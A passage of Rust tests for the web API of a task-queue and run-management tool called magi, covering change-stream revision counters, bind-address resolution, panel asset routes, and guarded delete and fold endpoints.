18692 .lines()
18693 .find_map(|l| l.strip_prefix("data:"))
18694 .expect("a data line");
18695 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
18696 assert!(
18697 payload["queue_rev"].is_u64()
18698 && payload["runs_rev"].is_u64()
18699 && payload["questions_rev"].is_u64()
18700 && payload["talks_rev"].is_u64()
18701 && payload["notifications_rev"].is_u64()
18702 && payload["loop_rev"].is_u64(),
18703 "the client needs one revision per store to know what to refetch, \
18704 and `talks_rev` is the only notification a standing talk gets - a \
18705 phone whose radio slept through a turn learns about it here, as \
18706 does one whose operator started the loop from another device: \
18707 {payload}"
18708 );
18709
18710 let health = f.get("/api/health").await.json();
18717 for key in [
18718 "queue_rev",
18719 "runs_rev",
18720 "questions_rev",
18721 "talks_rev",
18722 "notifications_rev",
18723 "loop_rev",
18724 ] {
18725 assert!(
18726 health[key].is_u64(),
18727 "health is the change stream's fallback and is missing `{key}`: {health}"
18728 );
18729 }
18730 }
18731
18732 #[tokio::test]
18733 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
18734 let f = Fixture::start().await;
18735 let before = f.get("/api/health").await.json()["talks_rev"]
18736 .as_u64()
18737 .expect("talks_rev");
18738
18739 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
18740 std::thread::sleep(Duration::from_millis(10));
18741 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
18742 on_disk.turns.push(crate::talk::Turn {
18743 sender: None,
18744 breaks: Some(Vec::new()),
18745 messages: Vec::new(),
18746 posted_by: None,
18747 who: crate::talk::Who::Operator,
18748 body: "a new turn".to_owned(),
18749 at: Timestamp::now(),
18750 attachments: Vec::new(),
18751 usage: None,
18752 });
18753 f.talks().put(&mut on_disk).expect("record a turn");
18754
18755 let after = f.get("/api/health").await.json()["talks_rev"]
18756 .as_u64()
18757 .expect("talks_rev");
18758 assert_ne!(
18759 before, after,
18760 "a phone must be able to notice a talk's reply without polling every store"
18761 );
18762 }
18763
18764 #[test]
18765 fn bind_reads_back_from_the_spelling_the_cli_prints() {
18766 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
18770 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
18771 }
18772 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
18773 assert!("everywhere".parse::<Bind>().is_err());
18774 }
18775
18776 #[test]
18777 fn an_explicit_bind_address_is_taken_verbatim() {
18778 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
18779
18780 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
18781
18782 assert_eq!(addr, asked);
18783 assert!(
18784 warning.is_none(),
18785 "an operator who named an address gets no lecture"
18786 );
18787 }
18788
18789 #[test]
18790 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
18791 let (addr, warning) = resolve_bind(&Bind::Auto);
18792
18793 match addr {
18800 IpAddr::V4(ip) if is_tailnet(&ip) => {
18801 assert!(warning.is_none(), "a tailnet address needs no warning");
18802 }
18803 other => {
18804 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
18805 let warning = warning.expect("a fallback has to explain itself");
18806 assert!(
18807 warning.contains("127.0.0.1") && warning.contains("local-only"),
18808 "the warning says what happened and what it costs: {warning}"
18809 );
18810 }
18811 }
18812 }
18813
18814 #[test]
18815 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
18816 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
18820 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
18821 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
18822 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
18823 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
18824 }
18825
18826 #[test]
18827 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
18828 let ids = vec![
18829 "20260902-140501-aaaa".to_owned(),
18830 "20260902-140502-aabb".to_owned(),
18831 ];
18832
18833 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
18834 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
18835 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
18836
18837 assert_eq!(missing.status, StatusCode::NOT_FOUND);
18838 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
18839 assert_eq!(short, "20260902-140502-aabb");
18840 }
18841 #[tokio::test]
18842 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
18843 let fx = Fixture::start().await;
18849 let id = panel(
18850 &fx,
18851 "<img src=\"shot.png\">",
18852 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
18853 );
18854
18855 let doc = fx
18857 .get(&format!("/api/questions/{id}/panel/index.html"))
18858 .await;
18859 assert_eq!(doc.status, 200, "{}", doc.body);
18860 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
18861
18862 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
18863 assert_eq!(sibling.status, 200, "{}", sibling.body);
18864 assert_eq!(sibling.header("content-type"), Some("image/png"));
18865 assert_eq!(
18866 sibling.header("content-security-policy"),
18867 Some(PANEL_CSP),
18868 "the sibling route must carry the same policy as the asset route"
18869 );
18870
18871 assert_eq!(
18874 fx.head(&format!("/api/questions/{id}/panel")).await.status,
18875 200
18876 );
18877 }
18878
18879 #[test]
18880 fn delta_stamps_cover_add_update_remove_and_noop() {
18881 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
18882 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
18883 let delta = diff_stamps(&before, &after, 42);
18884 assert_eq!(delta.base, 42);
18885 assert_eq!(delta.changed, ["b", "c"]);
18886 assert_eq!(delta.removed, ["a"]);
18887 let same = diff_stamps(&after, &after, 43);
18888 assert!(same.changed.is_empty() && same.removed.is_empty());
18889 assert_ne!(stamps_revision(&before), stamps_revision(&after));
18890 let nanos: Stamps = [("b".into(), (2, 20))].into();
18891 let same_ms: Stamps = [("b".into(), (3, 20))].into();
18892 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
18893 assert_eq!(stamps_revision(&Stamps::new()), 0);
18894 }
18895
18896 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
18897 std::fs::create_dir_all(home.join("runs")).unwrap();
18898 Arc::new(Ui::new(
18899 Queue::at(home.join("queue")),
18900 Questions::at(home.join("questions")),
18901 Talks::at(home.join("talks")),
18902 home.join("runs"),
18903 home.to_owned(),
18904 PathBuf::from("/repo/magi"),
18905 ))
18906 }
18907
18908 #[tokio::test]
18909 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
18910 let home = TempDir::new().unwrap();
18911 let ui = delta_test_ui(home.path());
18912 let mut task = Task::new(
18913 "stream task".into(),
18914 "text".into(),
18915 PathBuf::from("/repo"),
18916 Source::Human,
18917 );
18918 ui.queue.put(&mut task).unwrap();
18919 let response = events(State(ui.clone())).await.into_response();
18920 let mut stream = response.into_body().into_data_stream();
18921 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
18922 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
18923 .await
18924 .unwrap()
18925 .unwrap()
18926 .unwrap();
18927 let text = String::from_utf8(chunk.to_vec()).unwrap();
18928 let data = text
18929 .lines()
18930 .find_map(|line| {
18931 line.strip_prefix("data: ")
18932 .or_else(|| line.strip_prefix("data:"))
18933 })
18934 .unwrap();
18935 serde_json::from_str(data).unwrap()
18936 }
18937 let initial = change(&mut stream).await;
18938 assert!(initial.get("queue_delta").is_none());
18939 task.instruction.push_str(" changed");
18940 ui.queue.put(&mut task).unwrap();
18941 let updated = change(&mut stream).await;
18942 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
18943 assert_eq!(
18944 updated["queue_delta"]["changed"],
18945 serde_json::json!([task.id])
18946 );
18947 assert_eq!(
18948 updated["queue_rev"].as_u64(),
18949 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
18950 );
18951 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
18952 let removed = change(&mut stream).await;
18953 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
18954 assert_eq!(
18955 removed["queue_delta"]["removed"],
18956 serde_json::json!([task.id])
18957 );
18958 }
18959
18960 #[tokio::test]
18961 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
18962 let home = TempDir::new().unwrap();
18963 let ui = delta_test_ui(home.path());
18964 let queue = ui.queue.clone();
18965 let query = |ids: Option<&str>| {
18966 Query(ListQuery {
18967 limit: Some(2),
18968 ids: ids.map(str::to_owned),
18969 })
18970 };
18971 let mut root = Task::new(
18972 "root".into(),
18973 "instruction".into(),
18974 PathBuf::from("/repo"),
18975 Source::Human,
18976 );
18977 queue.put(&mut root).unwrap();
18978 let mut blocked = Task::new(
18979 "blocked".into(),
18980 "instruction".into(),
18981 PathBuf::from("/repo"),
18982 Source::Human,
18983 );
18984 blocked.block(vec![root.id.clone()], None);
18985 queue.put(&mut blocked).unwrap();
18986 let whole =
18987 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
18988 .unwrap();
18989 let subset = serde_json::to_value(
18990 queue_list(State(ui.clone()), query(Some(&root.id)))
18991 .await
18992 .unwrap()
18993 .0,
18994 )
18995 .unwrap();
18996 assert_eq!(whole, subset, "requested root plus its blocked dependent");
18997 let blockers = serde_json::to_value(
18998 queue_list(State(ui.clone()), query(Some("")))
18999 .await
19000 .unwrap()
19001 .0,
19002 )
19003 .unwrap();
19004 assert_eq!(blockers.as_array().unwrap().len(), 1);
19005 assert_eq!(blockers[0]["id"], blocked.id);
19006 assert_eq!(
19007 blockers[0]["waits_on"],
19008 whole
19009 .as_array()
19010 .unwrap()
19011 .iter()
19012 .find(|row| row["id"] == blocked.id)
19013 .unwrap()["waits_on"]
19014 );
19015
19016 for id in [
19017 "20260902-140501-aaaa",
19018 "20260902-140502-bbbb",
19019 "20260902-140503-cccc",
19020 ] {
19021 write_run(&ui.runs, id, RunStatus::Merged);
19022 }
19023 let old = serde_json::to_value(
19024 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
19025 .await
19026 .unwrap()
19027 .0,
19028 )
19029 .unwrap();
19030 assert!(
19031 old.as_array().unwrap().is_empty(),
19032 "older updates must not enter the window"
19033 );
19034 let newest = serde_json::to_value(
19035 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
19036 .await
19037 .unwrap()
19038 .0,
19039 )
19040 .unwrap();
19041 assert_eq!(newest.as_array().unwrap().len(), 1);
19042 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
19043
19044 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
19045 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
19046 let talks = serde_json::to_value(
19047 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
19048 .await
19049 .unwrap()
19050 .0,
19051 )
19052 .unwrap();
19053 assert_eq!(talks.as_array().unwrap().len(), 1);
19054 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
19055 assert_eq!(
19056 serde_json::to_value(
19057 talks_list(State(ui.clone()), query(Some("")))
19058 .await
19059 .unwrap()
19060 .0
19061 )
19062 .unwrap(),
19063 serde_json::json!([])
19064 );
19065 }
19066
19067 #[tokio::test]
19068 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
19069 async fn delta_payload_benchmark() {
19070 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
19071 let ui = delta_test_ui(&home);
19072 let query = |ids: Option<String>| {
19073 Query(ListQuery {
19074 limit: Some(50),
19075 ids,
19076 })
19077 };
19078 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
19079 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
19080 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
19081 let queue_id = queue
19082 .iter()
19083 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
19084 .unwrap_or(&queue[0])
19085 .task
19086 .id
19087 .clone();
19088 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
19089 .await
19090 .unwrap()
19091 .0;
19092 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
19093 .await
19094 .unwrap()
19095 .0;
19096 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
19097 .await
19098 .unwrap()
19099 .0;
19100 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
19101 eprintln!(
19102 "DELTA_PAYLOAD {}",
19103 serde_json::json!({
19104 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
19105 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
19106 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
19107 "counts": [queue.len(), runs.len(), talks.len()],
19108 "blocked": queue_delta.len() - 1,
19109 })
19110 );
19111 }
19112
19113 #[test]
19114 fn runs_revision_moves_when_deleting_an_older_run() {
19115 let temp = TempDir::new().expect("tempdir");
19116 let runs = temp.path().join("runs");
19117 std::fs::create_dir_all(&runs).expect("create runs dir");
19118
19119 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
19120
19121 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
19122 std::thread::sleep(Duration::from_millis(10));
19123 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
19124
19125 let rev_before = runs_revision(&runs);
19126 assert!(rev_before > 0);
19127
19128 let old_dir = runs.join("20260901-100000-old1");
19129 std::fs::remove_dir_all(&old_dir).expect("remove old run");
19130
19131 let rev_after = runs_revision(&runs);
19132 assert_ne!(
19133 rev_before, rev_after,
19134 "deleting an older run must change the revision so other clients see the deletion"
19135 );
19136 }
19137
19138 fn write_state(runs: &FsPath, state: &RunState) {
19143 let dir = runs.join(&state.id);
19144 std::fs::create_dir_all(&dir).expect("run dir");
19145 std::fs::write(
19146 dir.join("run.json"),
19147 serde_json::to_string_pretty(state).expect("serialize run"),
19148 )
19149 .expect("write run.json");
19150 }
19151
19152 #[test]
19157 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
19158 let temp = TempDir::new().expect("tempdir");
19159 let runs = temp.path().join("runs");
19160 std::fs::create_dir_all(&runs).expect("create runs dir");
19161 let mut state = RunState::new(
19162 PathBuf::from("/repo/magi"),
19163 "main".to_owned(),
19164 "0123456789abcdef".to_owned(),
19165 "task".to_owned(),
19166 Config::default(),
19167 );
19168 state.id = "20260902-100000-c0de".to_owned();
19169 write_state(&runs, &state);
19170
19171 let rev_idle = runs_revision(&runs);
19172 std::thread::sleep(Duration::from_millis(10));
19173 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
19174 write_state(&runs, &state);
19175 let rev_started = runs_revision(&runs);
19176 assert_ne!(
19177 rev_idle, rev_started,
19178 "a seat starting must move the revision"
19179 );
19180
19181 std::thread::sleep(Duration::from_millis(10));
19182 state.seat_finished("judge-1");
19183 write_state(&runs, &state);
19184 let rev_finished = runs_revision(&runs);
19185 assert_ne!(
19186 rev_started, rev_finished,
19187 "and clearing it again must move the revision a second time"
19188 );
19189 }
19190
19191 #[tokio::test]
19192 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
19193 let fx = Fixture::start().await;
19198 let q = fx.queue();
19199
19200 let mut t = Task::new(
19201 "Task".to_owned(),
19202 "Instruction".to_owned(),
19203 PathBuf::from("/repo"),
19204 Source::Human,
19205 );
19206 t.block(
19207 vec!["20260101-000000-dead".to_owned()],
19208 Some("waiting on Task 1".to_owned()),
19209 );
19210 t.answers.push(crate::queue::AnsweredQuestion {
19211 question: "Which backend?".to_owned(),
19212 answer: "SQLite".to_owned(),
19213 });
19214 q.put(&mut t).expect("put t");
19215
19216 let res = fx.get("/api/queue").await;
19217 assert_eq!(res.status, 200);
19218 let list = res.json();
19219 let view = list
19220 .as_array()
19221 .expect("array")
19222 .iter()
19223 .find(|v| v["id"] == t.id)
19224 .expect("task in list");
19225 assert_eq!(view["status_str"], "blocked");
19226 assert_eq!(
19227 view["blocked_by"],
19228 serde_json::json!(["20260101-000000-dead"])
19229 );
19230 assert_eq!(view["block_reason"], "waiting on Task 1");
19231 assert_eq!(view["answers"][0]["question"], "Which backend?");
19232 assert_eq!(view["answers"][0]["answer"], "SQLite");
19233
19234 let res = fx
19238 .post(&format!("/api/queue/{}/hold", t.short()), None)
19239 .await;
19240 assert_eq!(res.status, 200);
19241 let held = res.json();
19242 assert_eq!(held["status_str"], "held");
19243 assert_eq!(held["blocked_by"], serde_json::json!([]));
19244 assert!(held["block_reason"].is_null());
19245 assert_eq!(held["answers"][0]["answer"], "SQLite");
19246 }
19247
19248 #[tokio::test]
19249 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
19250 let fx = Fixture::start().await;
19251 let q = fx.queue();
19252 let mk = |title: &str| {
19253 Task::new(
19254 title.to_owned(),
19255 "Instruction".to_owned(),
19256 PathBuf::from("/repo"),
19257 Source::Human,
19258 )
19259 };
19260 let mut root = mk("root");
19261 root.hold_manual(Some("waiting".to_owned()));
19262 q.put(&mut root).unwrap();
19263 let mut mid = mk("mid");
19264 mid.block(vec![root.id.clone()], None);
19265 q.put(&mut mid).unwrap();
19266 let mut leaf = mk("leaf");
19267 leaf.block(vec![mid.id.clone()], None);
19268 q.put(&mut leaf).unwrap();
19269
19270 let list = fx.get("/api/queue").await.json();
19271 let find = |id: &str| {
19272 list.as_array()
19273 .unwrap()
19274 .iter()
19275 .find(|v| v["id"] == id)
19276 .unwrap()
19277 .clone()
19278 };
19279 let leaf_view = find(&leaf.id);
19280 assert_eq!(
19281 leaf_view["waits_on"],
19282 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
19283 );
19284 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
19285 assert_eq!(
19286 find(&mid.id)["waits_on"],
19287 serde_json::json!([format!("{} (held)", root.short())])
19288 );
19289 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
19290 }
19291
19292 #[tokio::test]
19293 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
19294 let fx = Fixture::start().await;
19295 let q = fx.queue();
19296
19297 let mut t1 = Task::new(
19299 "Task 1".to_owned(),
19300 "Instruction 1".to_owned(),
19301 PathBuf::from("/repo"),
19302 Source::Human,
19303 );
19304 let run_id = "20260901-000000-r111";
19305 t1.runs.push(run_id.to_owned());
19306 write_run(&fx.runs(), run_id, RunStatus::Merged);
19307 q.put(&mut t1).expect("put t1");
19308
19309 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
19311 assert_eq!(res.status, 204);
19312 assert!(res.body.is_empty(), "204 No Content has no body");
19313 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
19314 assert!(
19315 fx.runs().join(run_id).exists(),
19316 "run directory must not be deleted when its task is deleted"
19317 );
19318
19319 let mut t2 = Task::new(
19321 "Task 2".to_owned(),
19322 "Instruction 2".to_owned(),
19323 PathBuf::from("/repo"),
19324 Source::Human,
19325 );
19326 t2.status = TaskStatus::Running;
19327 q.put(&mut t2).expect("put t2");
19328 let mut beat = crate::daemon::Status::new();
19329 beat.current = vec![crate::daemon::Current {
19330 task: t2.id.clone(),
19331 run: "20260901-000000-r222".to_owned(),
19332 }];
19333 beat.updated_at = jiff::Timestamp::now();
19334 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19335 .expect("publish a heartbeat");
19336 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
19337 assert_eq!(res.status, 409);
19338 assert!(
19339 res.json()["error"]
19340 .as_str()
19341 .unwrap()
19342 .contains("live daemon")
19343 );
19344 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
19345
19346 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
19352 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19353 .expect("leave a stale heartbeat");
19354 let mut t3 = Task::new(
19355 "Task 3".to_owned(),
19356 "Instruction 3".to_owned(),
19357 PathBuf::from("/repo"),
19358 Source::Human,
19359 );
19360 t3.status = TaskStatus::Running;
19361 q.put(&mut t3).expect("put t3");
19362 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
19363 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
19364 assert_eq!(res.status, 204);
19365 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
19366 assert!(
19367 q.claim(&t3.id).is_ok(),
19368 "the stale lock went with it, so the id is claimable again"
19369 );
19370
19371 let res = fx.delete("/api/queue/nonexistent").await;
19373 assert_eq!(res.status, 404);
19374 }
19375
19376 #[tokio::test]
19377 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
19378 let fx = Fixture::start().await;
19379 let runs = fx.runs();
19380
19381 let run_id = "20260901-000000-fold";
19383 let mut state = RunState::new(
19384 PathBuf::from("/repo"),
19385 "main".to_owned(),
19386 "abc".to_owned(),
19387 "instruction".to_owned(),
19388 Config::default(),
19389 );
19390 state.id = run_id.to_owned();
19391 state.status = RunStatus::Merged;
19392 state.candidates.push(crate::run::Candidate {
19393 index: 0,
19394 label: 'A',
19395 agent: "a".to_owned(),
19396 branch: "b".to_owned(),
19397 worktree: PathBuf::from("/w"),
19398 summary: String::new(),
19399 stat: String::new(),
19400 files: 1,
19401 commits: 1,
19402 empty: false,
19403 failed: None,
19404 verified_noop: None,
19405 duration_ms: 0,
19406 folded: true,
19407 });
19408 let dir = runs.join(run_id);
19409 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
19410 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
19411 .expect("write artifact");
19412 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
19413 .expect("write run.json");
19414
19415 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
19417 assert_eq!(res.status, 204);
19418 assert!(res.body.is_empty(), "204 has no body");
19419 assert!(!dir.exists(), "run directory and artifacts must be deleted");
19420
19421 let run_running = "20260901-000000-rung";
19426 write_run(&runs, run_running, RunStatus::Prep);
19427 let mut beat = crate::daemon::Status::new();
19428 beat.current = vec![crate::daemon::Current {
19429 task: "20260901-000000-task".to_owned(),
19430 run: run_running.to_owned(),
19431 }];
19432 beat.updated_at = jiff::Timestamp::now();
19433 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19434 .expect("publish a heartbeat");
19435 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
19436 assert_eq!(res.status, 409);
19437 assert!(
19438 res.json()["error"]
19439 .as_str()
19440 .unwrap()
19441 .contains("live daemon"),
19442 "the refusal must say who is holding it"
19443 );
19444 assert!(
19445 runs.join(run_running).exists(),
19446 "a run in flight keeps its directory"
19447 );
19448
19449 let run_unfolded = "20260901-000000-unfd";
19451 let mut state2 = RunState::new(
19452 PathBuf::from("/repo"),
19453 "main".to_owned(),
19454 "abc".to_owned(),
19455 "instruction".to_owned(),
19456 Config::default(),
19457 );
19458 state2.id = run_unfolded.to_owned();
19459 state2.status = RunStatus::Ready;
19460 state2.candidates.push(crate::run::Candidate {
19461 index: 0,
19462 label: 'A',
19463 agent: "a".to_owned(),
19464 branch: "b".to_owned(),
19465 worktree: PathBuf::from("/w"),
19466 summary: String::new(),
19467 stat: String::new(),
19468 files: 1,
19469 commits: 1,
19470 empty: false,
19471 failed: None,
19472 verified_noop: None,
19473 duration_ms: 0,
19474 folded: false,
19475 });
19476 let dir2 = runs.join(run_unfolded);
19477 std::fs::create_dir_all(&dir2).expect("create dir2");
19478 std::fs::write(
19479 dir2.join("run.json"),
19480 serde_json::to_string(&state2).unwrap(),
19481 )
19482 .expect("write run.json");
19483
19484 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
19485 assert_eq!(res.status, 409);
19486 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
19487 assert!(dir2.exists(), "unfolded run directory is kept");
19488
19489 let res = fx.delete("/api/runs/nonexistent").await;
19491 assert_eq!(res.status, 404);
19492 }
19493
19494 #[test]
19503 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
19504 let start = APP_JS
19505 .find("function renderStats() {")
19506 .expect("renderStats");
19507 let end = start
19508 + APP_JS[start..]
19509 .find("function statsTile(")
19510 .expect("the next top-level function");
19511 let body = &APP_JS[start..end];
19512
19513 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
19514 let gate_end = gate_start
19515 + body[gate_start..]
19516 .find("}\n renderStatsQueue")
19517 .expect("the gate's own closing brace, right before the unconditional call");
19518 let gated = &body[gate_start..gate_end];
19519
19520 assert_eq!(
19521 body.matches("renderStatsQueue(").count(),
19522 1,
19523 "renderStats must call renderStatsQueue exactly once: {body}"
19524 );
19525 assert!(
19526 !gated.contains("renderStatsQueue"),
19527 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
19528 run-derived panels on an empty run history - the queue panel has to render \
19529 regardless: {gated}"
19530 );
19531 }
19532
19533 #[test]
19534 fn web_ui_delete_contract_in_front_end() {
19535 assert!(APP_JS.contains("deleteRun:"));
19537 assert!(APP_JS.contains("deleteTask:"));
19538
19539 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
19541 ..APP_JS.find("function renderRuns").unwrap()];
19542 assert!(!run_cards_slice.to_lowercase().contains("delete"));
19543
19544 assert!(APP_JS.contains("renderRunDelete"));
19546 assert!(APP_JS.contains("runDeleteReason"));
19547 assert!(APP_JS.contains("magi fold"));
19548 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
19549
19550 assert!(APP_JS.contains("cancel.focus"));
19552 assert!(APP_JS.contains("armedRunDelete"));
19553 assert!(APP_JS.contains("renderTaskDeleteBox"));
19554 assert!(APP_JS.contains("armed${cap(key)}"));
19555
19556 assert!(APP_JS.contains("disabled: status === \"running\""));
19558 }
19559
19560 #[test]
19580 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
19581 let build = APP_JS
19582 .find("function createRunCard")
19583 .expect("createRunCard exists");
19584 let update = APP_JS
19585 .find("function updateRunCard")
19586 .expect("updateRunCard exists");
19587 let end = APP_JS
19588 .find("function renderRuns")
19589 .expect("renderRuns exists");
19590
19591 let builder = &APP_JS[build..update];
19593 let open = builder.find("refs = {").expect("createRunCard sets refs");
19594 let literal = &builder[open + "refs = {".len()..];
19595 let close = literal.find('}').expect("the refs literal is closed");
19596 let published: HashSet<&str> = literal[..close]
19597 .split(',')
19598 .filter_map(|entry| entry.split(':').next())
19600 .map(str::trim)
19601 .filter(|name| !name.is_empty())
19602 .collect();
19603 assert!(
19604 published.len() > 5,
19605 "the refs literal did not parse into names: {published:?}"
19606 );
19607
19608 let mut used: Vec<&str> = Vec::new();
19611 let updaters = &APP_JS[update..end];
19612 for (at, _) in updaters.match_indices("r.") {
19613 let before = updaters[..at].chars().next_back();
19616 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
19617 continue;
19618 }
19619 let rest = &updaters[at + 2..];
19620 let len = rest
19621 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
19622 .unwrap_or(rest.len());
19623 if len > 0 {
19624 used.push(&rest[..len]);
19625 }
19626 }
19627 assert!(
19628 used.len() > 5,
19629 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
19630 );
19631
19632 let missing: Vec<&str> = used
19633 .iter()
19634 .copied()
19635 .filter(|name| !published.contains(name))
19636 .collect();
19637 assert!(
19638 missing.is_empty(),
19639 "a run card's updater reaches for {missing:?}, which `createRunCard` \
19640 never put in `refs` - every card will throw and the list will \
19641 render empty under a count line that says otherwise. Published: \
19642 {published:?}"
19643 );
19644 }
19645
19646 #[tokio::test]
19647 async fn folding_from_the_phone_reports_what_it_removed() {
19648 let fx = Fixture::start().await;
19649 let runs = fx.runs();
19650
19651 let id = "20260901-000000-fold";
19655 write_run(&runs, id, RunStatus::Stalled);
19656 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19657 assert_eq!(res.status, 200);
19658 assert_eq!(res.json()["removed_count"], 0);
19659 assert_eq!(res.json()["run"], id);
19660 assert!(
19661 runs.join(id).exists(),
19662 "a fold keeps the run's record; only the worktrees go"
19663 );
19664 }
19665
19666 #[tokio::test]
19667 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
19668 let fx = Fixture::start().await;
19669 let runs = fx.runs();
19670 let wt = fx.home.path().join("wt").join("magi").join("dead");
19671 let id = "20260901-000000-dead";
19672 std::fs::create_dir_all(runs.join(id)).expect("run dir");
19673 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19674 std::fs::create_dir_all(&wt).expect("worktree dir");
19675
19676 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19677 assert_eq!(res.status, 200, "{}", res.body);
19678 assert!(
19679 res.json()["removed_count"].as_u64().unwrap() > 0,
19680 "the worktree this build could not read a state for still went"
19681 );
19682 assert!(
19683 !runs.join(id).exists(),
19684 "an unreadable run has no candidate list to fold selectively, so \
19685 the whole record goes - same as `magi fold` on the CLI"
19686 );
19687 }
19688
19689 #[tokio::test]
19690 async fn deleting_an_unreadable_run_removes_it_wholesale() {
19691 let fx = Fixture::start().await;
19692 let runs = fx.runs();
19693 let wt = fx.home.path().join("wt").join("magi").join("gone");
19694 let id = "20260901-000000-gone";
